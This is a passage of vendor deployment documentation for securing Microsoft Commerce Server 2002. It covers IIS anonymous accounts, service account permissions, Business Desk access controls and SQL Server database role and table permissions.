If you have multiple sites on your server, or if you have areas of your site that require different access privileges, you can create multiple anonymous accounts, one for each Web site, directory, or file. By giving these accounts differing access permissions, or by assigning these accounts to different Windows user groups, you can grant users anonymous access to different areas of your public Web content.

Note

  • If you create custom Commerce Server components that need permissions to a database in the global.asa file, the IWAM_<machinename> account must have run-time permissions.

Using Anonymous Accounts and Windows Authentication

It is strongly recommended that you configure your Commerce Server installation to use Windows Authentication.

To use Windows Authentication, you must do the following:

  1. Create a user account on the Active Directory domain so anonymous users can access SQL Server. This is the run-time user account.
  2. Change the IUSR_<computer> account in IIS to the run-time user account created in Step 1.
  3. Assign the run-time user account permissions to SQL Server. For a detailed list of the permissions that must be granted to the run-time user account, see Securing Your Databases.

See Also

Using Windows Authentication in a Distributed Deployment

Changing the Account used for Anonymous Authentication


Changing the Account used for Anonymous Authentication

You can change the account that is used for Anonymous authentication in the Internet Information Services snap-in, either at the Web server service level, or for individual virtual directories and files. The anonymous account must have the user right to log on locally. If the account does not have the Log On Locally permission, IIS will not be able to service any anonymous requests.

The IIS installation specifically grants the Log On Locally permission to the IUSR_computername account. The IUSR_computername accounts on domain controllers are not given to guest accounts by default and must be changed to Log On Locally to allow anonymous logons.

Note

  • If you change the IUSR_computername account, the changes will affect every anonymous HTTP request that is serviced by a Web server. Use caution if you modify this account.


Securing Service Accounts

During Commerce Server Setup, in the Services Account dialog box, you specify the Windows user name and password for the following Commerce Server services:

  • List Manager
  • Direct Mailer
  • Predictor
  • Event Logging. This service requires the account be a local administrator.

Setup automatically grants these Windows accounts the Log On as a Service right. Setup does not permit you to set up these services to use the Local System account. Although it is possible to do this manually after Setup, it is not recommended because doing so might give the services more permissions than they need.

In the same dialog box, you specify an account under which Event Logging will be performed. This last account is used in the Commerce Event Logging COM+ package that is created by Setup. For information about this account, see Important Security Notes.

Important

  • After you have installed Commerce Server 2002 Service Pack 1, you can set access security on the Commerce Server List Manager service, Direct Mailer service, and the Predictor service using Dcomcnfg.exe.

    This procedure only applies to Commerce Server 2002 Service Pack 1. It is particularly important to run Dcomcnfg.exe if you are using opt-out lists.

    For information about how to run Dcomcnfg.exe, see the Microsoft Knowledge Based article number Q328522.

This section contains:

  • List Manager Service Account
  • Direct Mailer Service Account
  • Predictor Service Account


List Manager Service Account

For List Manager, your Commerce Server Business Desk users must be able to read folders from which they import lists and write to folders onto which they export lists. The List Manager service account must have appropriate NTFS permissions on the folders from which users will import and export lists.

The List Manager service account requires the following when Commerce Server is configured to use Windows Authentication:

  • db_datareader role on the Administration database.
  • db_owner role on the Campaigns database and the Direct Mailer database. For more information, see Securing the Campaigns Database and Securing the Direct Mailer Database.
  • Read permissions on all files that it must import. These permissions are ACLs set on the files.

Exporting Static Reports and Segments to List Manager

When you export a static report or a segment to List Manager, the Report Manager component writes the content to the following tables in the Campaigns database:

lm_master
lm_operations

The account for Report Manager must have Select and Insert permissions on these tables. (By default, Report Manager runs under the local account.)

The account for the List Manager service must be mapped to the dbo user in the Data Warehouse database. To map a login name to the dbo, in Query Analyzer, run the sp_addalias stored procedure as follows:

Exec sp_addalias 'login','dbo'

To run sp_addalias in Query Analyzer, you must be logged in with "sa" privileges.

The sp_addalias stored procedure will fail if the user has already been added to the Data Warehouse. Do not add the account by using any method other than sp_addalias.

See Also

List Manager: Dynamic Database Objects

List Manager Stored Procedures


Direct Mailer Service Account

The account assigned to the Direct Mailer service must have access to the Direct Mailer database.

The following security permissions are involved in running the Direct Mailer service:

  • Permission to start the Direct Mailer service. This is a Windows domain permission.
  • Permission to start and use the List Manager service. This is a Windows domain permission.

The Direct Mailer service account requires the following permissions when Commerce Server is configured to use Windows Authentication.

Table name | Direct Mailer service account
Direct Mailer database | db_owner role
Campaigns database | db_owner role
dml_attachments
 Select
Insert
Update
dml_job_errors
 Select
Insert
Update
dml_jobs
 Select
Insert
Update
ML_<GUID>
 Select
Insert
Update

In addition, the Direct Mailer service must have Write permissions (ACLs) on the following files:

dml_drop
Winnt\system32\logfiles folders

Write permissions are required on these files so Direct Mailer can create and write to a log file, and send mails (it requires permissions to the drop location).

See Also

Securing the Direct Mailer Database

Securing the Campaigns Database

Using Direct Mailer and Windows Authentication


Predictor Service Account

The account assigned to the Predictor service must have access to the following when Commerce Server is configured to use Windows Authentication:

  • Administration database: db_datareader role
  • Data Warehouse databases: db_datareader, db_datawriter, and db_ddladmin
  • List Manager tables: Assign Select, Update, Insert and Delete permissions
  • Campaigns database. Assign db_ddladmin, db_datawriter, and db_datareader

For information about the tables accessed by the Predictor service, see Securing a Predictor Deployment.

Use Different Accounts for Predictor Service and Model Builder DTS Task

When the Predictor service and the Model Builder DTS task use different accounts, but both accounts are Administrators, the Model Builder task will fail with a permission denied error.

To solve this issue, configure the accounts using one of the following options:

  • Change the Predictor service account to use the local system account, and then restart the Predictor service.
  • Use Dcomcnfg.exe to set the security configuration for the Predictor service component:
    1. Click Start, click Run, type Dcomcnfg, and then press Enter.
    2. On the Applications tab, select Microsoft Commerce Server Predictor Service, and then click Properties.
    3. On the Security tab, select Use custom access premissions, and then click Edit.
    4. On the Registry Value Permissions dialog box, click Add.
    5. Add the Administrators group on local computer, and in the Type of Access box, select Allow Access.

      The Administrators group must have the Log on as a service right.

    6. Click OK to save your the changes, click OK to exit the Properties dialog box, and then click OK to exit Dcomcnfg.
    7. Restart the Predictor service.

See Also

Securing a Predictor Deployment

Deploying Predictor


Securing Business Desk

You must perform several steps in order to secure Commerce Server Business Desk.

For Business Desk users, configure Internet Information Services (IIS) for Basic Authentication. When Business Desk users run reports, they access data from the Analysis Server (OLAP) database. To use Analysis Services over HTTP, Business Desk users should be authenticated using Basic Authentication (which passes Windows 2000 credentials).

When passing Windows 2000 credentials over the Web, use HTTPS to ensure that the Windows account and password are secured.

Note

  • When Business Desk users run reports and access Analysis Services over HTTP, their valid Windows 2000 user ID and password are stored in the Business Desk HTML. For more information, see Accessing the Analysis Server Over HTTPS.

This section contains:

  • Overview of Business Desk Security
  • Business Desk Security Notes
  • Securing BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp
  • Securing Business Desk Sessions
  • Securing Business Desk Modules

See Also

Deploying Commerce Server Using Windows Authentication

Important Security Notes

Best Practices for Security


Overview of Business Desk Security

The only default Business Desk user account is the BizDesk administrators group. Upon installation of a Business Desk application, this group account initially consists of the users in the Administrators group for the Web server on which the Business Desk application is installed.

A member of the BizDesk administrators group has all permissions, and can add other users.

It is recommended that you perform the following steps to secure your Business Desk application for use by business managers. For detailed instructions, see Deploying Commerce Server Using Windows Authentication.

  1. Create Windows group accounts, and add Business Desk users to the appropriate group account. At minimum, it is recommended that you create three group accounts (shown here with sample account names):
    • BDGroup account. Assign all Business Desk users.
    • ReportAdvanced account. Assign users who are going to save, modify, and delete dynamic reports.
    • SegmentViewer account. Assign users who are going to use the Segment Viewer module.
  2. Run the Commerce Server security scripts on the Commerce Server databases to create database roles with the appropriate permissions for Business Desk users.
  3. Assign the Business Desk group accounts to the appropriate database roles.
  4. Add the Business Desk group accounts to the Permissions module, and then grant members of the domain the appropriate permissions to use Business Desk.

    The Business Desk Permissions module provides security for the Business Desk user interface. It does not secure the Web server or the Commerce Server databases.

  5. On each computer that has Business Desk client installed, enable Integrated Windows Authentication in Internet Explorer.
  6. For Business Desk users who need to run reports from the other side of a firewall, see Accessing the Analysis Server over HTTPS.

In addition to the above steps, you must secure BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp.

See Also

Securing BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp


Business Desk Security Notes

  • When you secure Business Desk, keep in mind the following known issues.
  • Review Windows accounts with Business Desk permissions before you pack a site.

    When unpacking a site using Commerce Server Site Packager, Windows accounts with Business Desk permissions are also unpacked.

    For example, you have Commerce Server installed on one computer and you add local groups and accounts. If you package the site and then unpack it on a different computer, the accounts will also be unpacked. When you open Business Desk, the permissions will still be available.

  • If the DEBUG_MODE flag in the BizDataServices.asp file is enabled, then A Business Desk user must have access to the log file in the Profiles folder before saving changes to a profile definition. This flag is turned off by default.
  • By default, the ACL for the BizDataManager.dll file is set to the option Everyone. This does not affect the security of Commerce Server Manager. Only users in the Administrators group can run Commerce Server Manager.
  • When you use Business Desk in Microsoft Visual Studio .NET, and you want to import an XML catalog file that is on your local computer, you must do one of the following:
    • Move the local file to the server, and then import the XML file on the server.
    • Run Business Desk outside of Visual Studio .NET, and import the XML catalog file.
    • Change your security settings in Internet Explorer to enable or prompt for running unsafe components, and then import the XML catalog file from the local computer. This option is not recommended because it compromises the security of your computer.
  • The BizDeskSecurity object provides unsecured methods to read from and write to a Commerce Server database. This is also true of other objects, such as catalogs. Access to the servers, including the ability to upload scripts, must be controlled independently by system administrators.
  • The BizDeskSecurity object does not differentiate between built-in local groups on two or more different computers. This does not apply to user-created local groups.
    • For example, Commerce Server is installed on two computers:
    • Computer A has a Complete installation, and a Solution Site is unpacked on it.
    • Computer B has a Web server installation, and the Business Desk application is unpacked on it.

    You add a domain\account1 to local guests group on both computers.

    On Computer A, you use the Business Desk Permissions module to add local guests group to the Windows account list, and give that group access to the Profiles modules.

    On Computer B you log on as domain\account1, open Business Desk, and you will have access to the Profiles modules.


Securing BDRefresh.asp, RefreshApp.asp, and Opt-Out.asp

The BDRefresh.asp script clears the Business Desk cache, and the RefreshApp.asp script clears the Profiles cache. Clearing either of these caches repeatedly could lead to a denial of service for users. The opt-out.asp file adds a user to the opt-out list of a direct mail campaign. Malicious access to the opt-out.asp file could also lead to a denial of service for users.

It is recommended that you limit permissions on the BDRefresh.asp, RefreshApp.asp, and opt-out.asp files so that unauthorized users cannot run these scripts. By default, BDRefresh.asp, RefreshApp.asp, and opt-out.asp are located in the root folder of an unpacked Solution Site and are granted anonymous access.

Note

  • Commerce Server Solution Sites require that you grant anonymous access to these files. To prevent denial of service attacks, it is critical that you secure these files.

You secure these files by granting access only to the specific Business Desk users that need access to these files. It is recommended that you use both of the following procedures for securing these files:

  • Set IP address access restrictions to secure these files. Setting this restriction on a file allows access by a user from the configured IP address only.
  • Grant access to a particular Windows user account. Setting this restriction on a file allows access only by a user with a particular Windows account, or who is a member of a particular Windows user group.

Note

  • If your site is configured for Windows Authentication, it is recommended that you use both procedures listed above to secure these files. Otherwise, use only IP address access restrictions.

To set IP address access restrictions for BDRefresh.asp, RefreshApp.asp, and opt-out.asp

  1. Click Start, point to Programs, point to Administrative Tools, and then click Internet Services Manager.
  2. In Internet Information Services, in the Tree pane, navigate to BDRefresh.asp.

    Note

    • The BDRefresh.asp, RefreshApp.asp, and opt-out.asp files exist in the root folder of your Commerce Server Solution Site.
  3. Right-click BDRefresh.asp, and then click Properties.
  4. On the File Security tab, in the IP address and domain name restrictions section, click Edit.
  5. In the IP Address and Domain Name Restrictions dialog box, click Denied Access to add the IP addresses of the computers on which you want to deny access, and then click Add.
  6. In the Grant Access On dialog box, enter the IP address of the computer on which you want to deny access, and then click OK. All other computers will be granted access.

    Repeat steps 5 and 6 to add additional IP addresses of computers you want to deny access to BDRefresh.asp.

  7. In the IP Address and Domain Name Restrictions dialog box, click OK.
  8. In the <filename> Properties dialog box, click OK.
  9. Repeat steps 2 through 8 to secure the RefreshApp.asp and opt-out.asp files.
  10. Restart IIS. For information about restarting IIS, see Restarting IIS and Commerce Server Services.

To grant access to specific Windows user accounts for BDRefresh.asp, RefreshApp.asp, and opt-out.asp

Note

  • This procedure requires that the site be installed on an NTFS partition. For more information about NTFS, see Windows 2000 Server Help.
  1. Click Start, point to Programs, point to Accessories, and then click Windows Explorer.
  2. Navigate to BDRefresh.asp.

    Note

    • The BDRefresh.asp, RefreshApp.asp, and opt-out.asp files exist in <drive>: \Inetpub\wwwroot\<sitename>.
  3. Right-click BDRefresh.asp, and then click Properties.
  4. In the <filename>Properties dialog box, on the Security tab, in the Name box, select Everyone, and then click Remove.
  5. Click Add to add the appropriate users and/or groups of users.

    Note

    • Appropriate users are Business Desk users to whom you want to allow access to these files.
  6. Click OK to close the Select Users, Computers, or Groups dialog box.
  7. Click OK to close the <filename>dialog box.
  8. Repeat steps 2 through 8 to secure the RefreshApp.asp and opt-out.asp files.


Securing Business Desk Sessions

When Commerce Server Site Packager unpacks a Commerce Server Business Desk application, it configures the application to use Windows Integrated Security. Although this secures client authentication, the Business Desk session itself passes data in clear text.

To provide security for Business Desk sessions, allow only Business Desk clients inside your Internet firewall. The Business Desk sessions are still cleartext inside the firewall, and subject to sniffing by people within the firewall, but this is a less likely scenario.

To provide additional security, you can use Secure Sockets Layer (SSL) for Business Desk connections.

See Also

Enabling SSL on a Commerce Server Site

Accessing the Analysis Server over HTTPS


Securing Business Desk Modules

You use the Business Desk Permissions module to grant and deny Business Desk users access to specific Business Desk functionality. For information about using the Business Desk Permissions module, see Business Desk Security.

Note

  • In Commerce Server 2000, Business Desk modules were secured by setting access control entries (ACEs), also referred to as NTFS permissions, on Business Desk ASP files.

Important

  • Do not set ACEs on Business Desk ASP files to secure Commerce Server 2002 Business Desk modules. Using ACEs to secure these files can conflict with permission settings made using the Business Desk Permissions module.

If you have upgraded from Commerce Server 2000, and have secured your Business Desk modules using ACEs, it is recommended that you reset the ACEs on all Business Desk ASP files. For information about resetting ACEs on your Business Desk ASP files, see To reset ACEs on Commerce Server 2002 Business Desk modules. For more information about upgrading from Commerce Server 2000, see Step 6: Upgrading Commerce Server Business Desk in the Commerce Server 2002 Upgrade Guide.

The following table shows each Business Desk ASP file in which you should reset ACEs:

Table 1

Folder | Reset this ASP file
Analysis | Analysis_reports.asp
Analysis | Analysis_report_viewer.asp
Application | Datacodes_list.asp
Catalogs\Designer | List_categorydefinitions.asp
Catalogs\Editor | List_catalogs.asp
Catalogsets | Catalogsets_list.asp
Marketing | Cmanager.asp
Marketing | Listmanager.asp
Marketing | Targetexpr.asp
Marketing | Target_group.asp
Marketing | Reftable.asp
Orders | Basket_list.asp
Orders | Orderstatus_list.asp
Organizations | Orgs.asp
Productionrefresh | Refresh.asp
Profiles Genericprofileeditor.asp

Note

  • This file only exists if you have upgraded from Commerce Server 2000.
Profiles | Profileeditor.asp
Profiles | Profileselector.asp
Profiles | Refreshprofilesvcall.asp
Segviewer | Modellist.asp
Shipping | Shipping_list.asp
Tax | Regionaltax.asp
Users | Registered.asp

Note

  • After you reset ACEs on Business Desk ASP files, and set permissions using the Business Desk Permissions module, it is recommended that all users that are connected to the Business Desk restart their client computer so that these permissions are refreshed on their client computer.

To reset ACEs on Commerce Server 2002 Business Desk modules

The following procedure is to be performed on the IIS server that hosts your Commerce Server Solution Site.

  1. In Windows Explorer, navigate to the folder that contains your Commerce Server 2000 Business Desk application files.

    Note

    • By default, your application files reside in the <drive>:\Inetpub\wwwroot\<siteName>bizdesk folder for your site, where <drive> is the drive where IIS is installed and <siteName> is the name of your site.
  2. Right-click the folder that contains the ASP file that you want to reset.

    Note

    • The folder and file names of the ASP files that you want to reset are shown in Table 1 above.
  3. On the <filename> Properties property sheet, on the Security tab, verify that the ACEs are configured as follows:
    User or Group | ACEs
    Administrator | Full Control
    Everyone Read

    Read & Execute
    System | Full Control

For more information about setting ACEs, search for the keywords "ACE" and "NTFS" in Windows 2000 Help.


Securing Your Databases

It is strongly recommended that you use Windows Authentication for access to your databases. When you configure your database connection strings for Windows Authentication, you must assign Business Desk users and run-time users (who use an anonymous domain account) the appropriate access to your databases.

This section explains how to secure your databases when you configure your site to use Windows Authentication to your SQL Server databases

This section contains:

  • Scripts to Secure Your Databases
  • Assigning SQL Server Database Roles
  • Securing the Administration Database
  • Securing the Commerce Server Run-time Databases
  • Securing the Direct Mailer Database
  • Securing the Data Warehouse


Scripts to Secure Your Databases

When you configure your site to use Windows Authentication, you must create accounts for run-time users and Business Desk users, and then assign these accounts to the appropriate database roles.

Commerce Server includes scripts that create database roles for you, and assigns the appropriate database permissions for Business Desk users and run-time users. These scripts are located in the Program Files\Microsoft Commerce Server\Support folder.

These scripts create two roles:

  • <database>ReaderRole. Assign runtime users who visit your site to this role.
  • <database>WriterRole. Assign Business Desk users who update your site to this role.

After you run these scripts and create the appropriate roles, you assign the Business Desk group account and the run-time anonymous account (a domain account) to these roles. For instructions, see Assigning SQL Server Database Roles.

The following table lists the Commerce Server security scripts and the databases you run them against.

Script | Run against this database
BDReaderRole and BDWriterRole | Business Desk Permissions
CampaignReaderRole and CampaignWriterRole | Campaigns
CatalogSecurityRoles | Catalogs
ProfileReaderRole and ProfileWriterRole | Profiles
TransactionReaderRole and TransactionWriterRole | Transactions
TransactionConfigReaderRole and TransactionConfigWriterRole | TransactionConfig

The Commerce Server run-time database tables can reside in one database, or each resource can have run-time tables in its own database.

These scripts are designed to work with SQL server for data stored in the Commerce Server runtime databases and the Administration database. They are not designed for use with Microsoft Active Directory or an Oracle database.

See Also

Scripts for Securing Databases Accessed by Reports

Scripts for Securing Databases Accessed by DTS Tasks

Deploying Commerce Server Using Windows Authentication

Securing the Administration Database

Securing the Direct Mailer Database

Securing a Predictor Deployment


Assigning SQL Server Database Roles

Commerce Server Business Desk users and run-time users must have sufficient permissions to access the SQL Server database that corresponds to the resource in order to access Commerce Server resources, such as the Product Catalog. For example, Business Desk users who modify shipping methods need access to the Transactions Config database.

When you configure your site to use Windows Authentication, it is recommended that create domain accounts for the following users and services, and then create SQL login accounts for each domain account.

Account user | Sample account name | Description
Runtime users | Anonymous | A user account for anonymous users visiting your Web site.
Business Desk users | BDGroup | A group account for all Business Desk users. Also known as design-time users.
Advanced Report group | ReportAdvanced | A group account for Business Desk users who must save dynamic reports, modify reports, and delete reports.
Segment Viewer group | SegmentViewer | A group account for Business Desk users who work with the Segment Viewer module.
DTS Task Import group | DTSImport | A group account for system administrators who run the DTS tasks to import and extend the Data Warehouse.
Direct Mailer service | CSDM | A user account for the Direct Mailer service.
List Manager service | CSLM | A user account for the List Manager service.
Predictor service | CSPred | A user account for the Predictor service.
Config COM+ application | CSCOMPlus | A user account for the Config COM+ application.

For instructions about creating these domain accounts, see Deploying Commerce Server Using Windows Authentication.

After you create a domain account, you run the Commerce Server security scripts that create the required database roles for Business Desk uses and run-time users. For instructions, see Overview of Scripts to Secure Your Databases.

This topic assumes you have created the domain accounts and run the Commerce Server security scripts. It explains the next steps: creating the SQL login account, and then assigning the domain account to the database roles.

To create a SQL login account

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In SQL Server Enterprise Manager, expand the nodes to the following path: Microsoft SQL Servers/SQL Server Group/<computer name>/Security.
  3. Right-click Login, and then click New Login.
  4. In the SQL Server Login Properties - New Login screen, on the General tab, do the following:
    Use this | To do this
    Name | Type the name of the domain user account (for example, Anonymous, a sample user account for your run-time users).
    Windows Authentication | Verify that this option is selected.
    Domain | Select the domain of the account from the drop-down list.
    Grant access | Verify that this option is selected for security access.
    Database | Select master as the database for this login from the drop-down list.
    Language | Select the default language for this login from the drop-down list.
  5. Click OK.
  6. Repeat these steps until you have created a SQL Server login account for the following domain accounts: Business Desk users (a group account), List Manager service, Predictor service, Direct Mailer service, and the Config COM+ Application.

To assign SQL Server database roles to a login

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In SQL Server Enterprise Manager, expand Security, and then click Logins.
  3. Right-click a SQL login account, and then click Properties.
  4. In the SQL Server Login Properties dialog box, click the Database Access tab.
  5. In the top box, select a database, and then in the bottom box, specify the role for the account.
  6. Repeat these steps until all the required accounts are assigned membership to the database roles they need, and then click OK.

Note

  • If you use SQL Server authentication, the resource connection strings contain the SQL login and password. When a connection string uses SQL Server authentication, every time the connection string is used, the login that is in the connection string is used. As a result, you cannot connect to a database using different logins with different access permissions.

See Also

Scripts to Secure Your Databases

Scripts for Securing Databases Accessed by Reports

Scripts for Securing Databases Accessed by DTS Tasks

Deploying Commerce Server Using Windows Authentication

Securing the Administration Database

Securing the Direct Mailer Database

Securing a Predictor Deployment


Securing the Administration Database

It is important to lock down the server that hosts the Administration database for your site. When you run Commerce Server Setup, you give the users of that computer full control of the Administration database.

Important

  • It is recommended that you secure each Administration table as described in this section to grant the anonymous account the appropriate permissions on each Administration database table.

Although the SQL password for the Administration database login is encrypted in the Windows registry, it is possible for users to gain access to it by using a script that accesses one of these programming objects: SiteConfigReadOnly, SiteConfig, or GlobalConfig. Make sure that users cannot gain access to the computer or run scripts on it after you complete Setup.

SiteConfig and GlobalConfig are registered as COM+ components with security roles. SiteConfigReadOnly, however, does not have a security role and it is available to the public.

You can restrict usage of the SiteConfig and GlobalConfig objects by modifying the access control lists (ACLs) on the registry keys for these object classes. To restrict access to these objects, change the permissions on these objects through the Windows Registry Editor. For instructions, see Changing the Permission on an Administrative Object.

This section contains:

  • Securing the SiteConfigReadOnly Object
  • Changing Permission on an Administrative Object
  • Securing MSCS_Admin Tables
  • Securing the ExtendedProps Table
  • Securing the Pupdbscripts Table
  • Securing the ResourceProps Table
  • Securing the Resources Table
  • Securing the SiteResources Table
  • Securing the Sites Table


Securing the SiteConfigReadOnly Object

Web sites use the SiteConfigReadOnly object to get connection strings for the runtime resources from the Administration database. The SiteConfigReadOnly object must be accessible by all user accounts that will access Commerce Server applications: it is required for anonymous users to have read access to the Administration database so they can access the Commerce Server databases during run time.

If you use Windows Integrated Security, the data returned to the SiteConfigReadOnly object is secure because no user names or passwords are stored.

Important

  • If you are using SQL authentication (not the recommended configuration), or if your Web server is not secured, and an attacker is able to upload and execute a script, that attacker can retrieve the connection string information for all of your databases and penetrate your firewalls.

To allow anonymous access, the SiteConfigReadOnly object must be available to the anonymous account, named IUSR_<computername>. If you are using an ASP.NET site, the anonymous account is ASPNET. The key for the SiteConfigReadOnly object is D1AA04A4-B00D-4D30-88AA-E3070DAE8040.

In addition, it is recommended that you secure the SiteConfigReadOnly object further by locking it down with a COM+ application.

To secure the SiteConfigReadOnly object with a COM+ application

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand Component Services, expand My Computer, and then expand COM+ Applications.
  3. Right-click Commerce Server Config, click New, and then click Application.

    The COM Components Install Wizard is started.

  4. Click Next.
  5. Click Importing components that are already registered.
  6. In the Choose Components to Import dialog box, select CS_MSCSCfg.SiteConfigReadOnly, and then click Next.
  7. Click Finish.
  8. Expand Components, right-click CS_MSCSCfg.SiteConfigReadOnly, and then click Properties.
  9. On the Security tab, select Administrators and Web Users, and then click OK.


Changing Permission on an Administrative Object

You can restrict usage of the SiteConfig and GlobalConfig objects by modifying the access control lists (ACLs) on the registry keys for these object classes. To restrict access to these objects, change the permissions on these objects through the Windows Registry Editor.

To change the permission on an administrative object

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type regedt32.
  3. Click HKEY_LOCAL_MACHINE.
  4. On the View menu, click Find Key.
  5. In the Find dialog box, in the Find what box, type the appropriate key, as shown in the following table.
    To find the key for this object | Type this
    SiteConfig | 31B031AE-8877-4973-BC58-FEE0EF8CE07B
    GlobalConfig | CB438FDD-81EC-45FF-9DBB-9F9FBBF717AF
  6. Clear the Match whole word only check box, and then click Find Next.

    A list of keys appears. The key you requested is marked as selected with a thin black border. You might have to scroll down the list to see the selected key.

  7. Click the node for the key for which you searched.
  8. In the Security menu, click Permissions.
  9. In the Permissions dialog box, set the appropriate permissions based on your needs. Limit Read permissions to accounts that do not need to modify the Administration database.


Securing MSCS_Admin Tables

The following table lists the permissions a given account should have for the MSCS_Admin tables. Use SQL Server Enterprise Manager to set these permissions.

Note

  • If your site is based on the Component Object Model (COM), the default anonymous account in IIS is IUSR_<computername>. If your site is based on ASP.NET, the default anonymous account is ASPNET.
Table name | IUSR or ASPNET | IWAM | Service accounts | COM+ accounts | System administrators | Business managers
ExtendedProps | No access | No access | No access | No access | Select Insert Update Delete | No access
pupdbscripts | No access | No access | No access | No access | Select Insert Update Delete | No access
ResourceProps | Select | Select | Select | Select | Select Insert Update Delete | Select Update
Resources | Select | Select | Select | Select | Select Insert Update Delete | Select
SiteResources | Select | Select | Select | Select | Select Insert Update Delete | Select
Sites | Select | Select | Select | Select | Select Insert Update Delete | Select


Securing the ExtendedProps Table

The following table lists the permissions a given account should have for the ExtendedProps table, which resides in the MSCS_Admin database. Use SQL Server Enterprise Manager to set these permissions.

Note

  • If your site is based on COM, the default anonymous account in IIS is IUSR_<computername>. If your site is based on ASP.NET, the default anonymous account is ASPNET.
Columns IUSR or ASPNET IWAM Service accounts COM+ identity accounts System administrators Business managers
s_ResourceType
 No access No access No access No access Select
Update 		No access
s_PropertyName
 No access No access No access No access Select
Update 		No access
f_IsConnStr
 No access No access No access No access Select
Update 		No access
f_IsHidden
 No access No access No access No access Select
Update 		No access
f_IsSimpleList
 No access No access No access No access Select
Update 		No access
s_Description
 No access No access No access No access Select
Update 		No access
i_Vartype
 No access No access No access No access Select
Update 		No access
s_Value
 No access No access No access No access Select
Update 		No access
s_DisplayName
 No access No access No access No access Select
Update 		No access


Securing the Pupdbscripts Table

The following table lists the permissions a given account should have for the pupdbscripts table, which resides in the MSCS_Admin database. Use SQL Server Enterprise Manager to set these permissions.

Note

  • If your site is based on COM, the default anonymous account in IIS is IUSR_<computername>. If your site is based on ASP.NET, the default anonymous account is ASPNET.
Columns IUSR or ASPNET IWAM Service accounts COM+ identity accounts System administrators Business managers
i_SiteID
 No access No access No access No access Select
Update 		No access
i_ResourceID
 No access No access No access No access Select
Update 		No access
u_scriptname
 No access No access No access No access Select
Update 		No access
txt_script
 No access No access No access No access Select
Update 		No access


Securing the ResourceProps Table

The following table lists the permissions a given account should have for the ResourceProps table, which resides in the MSCS_Admin database. Use SQL Server Enterprise Manager to set these permissions.

Note

  • If your site is based on COM, the default anonymous account in IIS is IUSR_<computername>. If your site is based on ASP.NET, the default anonymous account is ASPNET.
Columns IUSR or ASPNET IWAM Service accounts COM+ identity accounts System administrators Business managers
i_ResourceID
 Select Select Select Select Select
Update 		Select
s_PropertyName
 Select Select Select Select Select
Update 		Select
f_IsConnStr
 Select Select Select Select Select
Update 		Select
f_IsHidden
 Select Select Select Select Select
Update 		Select
f_IsSimpleList
 Select Select Select Select Select
Update 		Select
s_Description
 No access No access No access No access Select
Update 		No access
i_Vartype
 Select Select Select Select Select
Update 		Select
s_Value
 Select Select Select Select Select
Update 		Select
s_DisplayName
 No access No access No access No access Select
Update 		No access


Securing the Resources Table

The following table lists the permissions a given account should have for the Resources table, which resides in the MSCS_Admin database. Use SQL Server Enterprise Manager to set these permissions.

Note

  • If your site is based on COM, the default anonymous account in IIS is IUSR_<computername>. If your site is based on ASP.NET, the default anonymous account is ASPNET.
Columns IUSR or ASPNET IWAM Service accounts COM+ identity accounts System administrators Business managers
i_ResourceID
 Select Select Select Select Select
Update 		Select
s_DisplayName
 Select Select Select Select Select
Update 		Select
s_Description
 Select Select Select Select Select
Update 		Select
s_Type
 Select Select Select Select Select
Update 		Select
f_IsGlobal
 Select Select Select Select Select
Update 		Select
f_ResourceFlags
 Select Select Select Select Select
Update 		Select
s_ProgIDSnapIn
 Select Select Select Select Select
Update 		Select
s_Computer
 Select Select Select Select Select
Update 		Select
i_Status
 Select Select Select Select Select
Update 		Select
f_PupFlags
 Select Select Select Select Select
Update 		Select
s_ProgIDPUP
 Select Select Select Select Select
Update 		Select
s_PupParam1
 Select Select Select Select Select
Update 		Select
s_PupParam2
 Select Select Select Select Select
Update 		Select
s_PupParam3
 Select Select Select Select Select
Update 		Select


Securing the SiteResources Table

The following table lists the permissions a given account should have for the SiteResources table, which resides in the MSCS_Admin database. Use SQL Server Enterprise Manager to set these permissions.

Note

  • If your site is based on COM, the default anonymous account in IIS is IUSR_<computername>. If your site is based on ASP.NET, the default anonymous account is ASPNET.
Columns IUSR or ASPNET IWAM Service accounts COM+ identity accounts System administrators Business managers
i_SiteID
 Select Select Select Select Select
Update 		Select
i_ResourceID
 Select Select Select Select Select
Update 		Select


Securing the Sites Table

The following table lists the permissions a given account should have for the Sites table, which resides in the MSCS_Admin database. Use SQL Server Enterprise Manager to set these permissions.

Note

  • If your site is based on COM, the default anonymous account in IIS is IUSR_<computername>. If your site is based on ASP.NET, the default anonymous account is ASPNET.
Columns IUSR or ASPNET IWAM Service accounts COM+ identity accounts System administrators Business managers
i_SiteID
 Select Select Select Select Select
Update 		Select
s_Name
 Select Select Select Select Select
Update 		Select
s_Description
 Select Select Select Select Select
Update 		Select
i_Status
 Select Select Select Select Select
Update 		Select
d_DateCreated
 Select Select Select Select Select
Update 		Select
d_DateModified
 Select Select Select Select Select
Update 		Select


Securing the Commerce Server Run-time Databases

Two types of user accounts need access to Commerce Server database objects such as tables and stored procedures:

  • Design-time user accounts are used by Business Desk users.
  • Run-time user accounts are used by the users visiting your Web site.

This section provides detailed information for providing the appropriate access to your databases to design-time users and runtime users.

For information about the access required by the Commerce Server DTS tasks to the Commerce Server runtime databases, see Scripts for Securing Databases Accessed by DTS Tasks.

For information about the access required by the Commerce Server services (Predictor, List Manager and Direct Mailer), see Securing Service Accounts.

This section contains:

  • Securing the Business Desk Permissions Database
  • Securing the Campaigns Database
  • Securing the Product Catalog Database
  • Securing the Profiles Database
  • Securing the Transactions Database
  • Securing the TransactionConfig Database


Securing the Business Desk Permissions Database

It is strongly recommended that you use Windows Authentication for access to your databases. When you configure your database connection strings for Windows Authentication, you must assign Business Desk users and runtime users (who use an anonymous domain account) the appropriate access to your databases.

To help you secure the Business Desk Permissions database, Commerce Server includes two security scripts: BDReaderRole.sql and BDWriterRole.sql. These scripts are located in the Program Files\Microsoft Commerce Server\Support folder.

These scripts create two roles on the Business Desk Permissions database, and assign the necessary permissions to the tables and stored procedures:

  • BDReaderRole. Assign run-time users to this role.
  • BDWriterRole. Assign Business Desk users to this role.

To create the BDReaderRole and the BDWriterRole

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
